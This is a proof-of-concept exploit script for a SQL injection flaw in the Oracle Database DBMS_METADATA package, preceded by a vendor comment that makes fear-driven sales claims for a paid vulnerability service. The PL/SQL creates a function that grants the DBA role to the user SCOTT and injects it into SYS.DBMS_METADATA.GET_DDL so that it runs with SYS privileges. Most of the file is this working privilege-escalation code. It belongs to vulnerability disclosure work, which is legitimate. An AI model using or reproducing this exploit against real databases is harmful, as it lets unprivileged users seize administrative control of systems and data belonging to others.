/*
   Argeniss - Information Security
   http://www.argeniss.com
   info>at<argeniss>dot<com

   You think you are secure because you are running the unbreakable Oracle, you think you are secure because you are up to date with patches, you think you are secure because etc., etc......
   You are wrong, Oracle software is so buggy that it can be owned in five seconds bypassing all protection mechanisms. Think how much money you will loose when your corporate data is compromised.
   There are still dozens of unpatched vulnerabilities. The best protection is eliminating vulnerabilities. 
   Join AVI service now and be safe http://www.argeniss.com/services.html
   Find out the special offer for Oracle vulnerability pack, it includes all unpatched Oracle vulnerability information with workaround scripts ready to apply.


   Proof of concept exploit code for the SQL Injection vulnerability in Oracle
   Database Server standard package DBMS_METADATA.
   http://www.argeniss.com/research.html
   By Esteban Martinez Fayo (esteban>at<argeniss>dot<com)

   This exploit grants the DBA role to the user SCOTT.
   Required privileges: Database user with privileges to create or modify functions.
   For more information on SQL injection issues in Oracle and how this exploit works
   see the Advanced SQL Injection in Oracle databases presentation available at
   http://www.argeniss.com/research.html
*/

-- First we create the function to be injected and executed as the SYS user.
CREATE OR REPLACE  FUNCTION "SCOTT"."ATTACKER_FUNC"  return varchar2
 authid current_user as
 pragma autonomous_transaction;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
  COMMIT;
  RETURN '';
END;
/


-- Inject the function in the vulnerable procedure
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACKER_FUNC()||''','') FROM dual;
/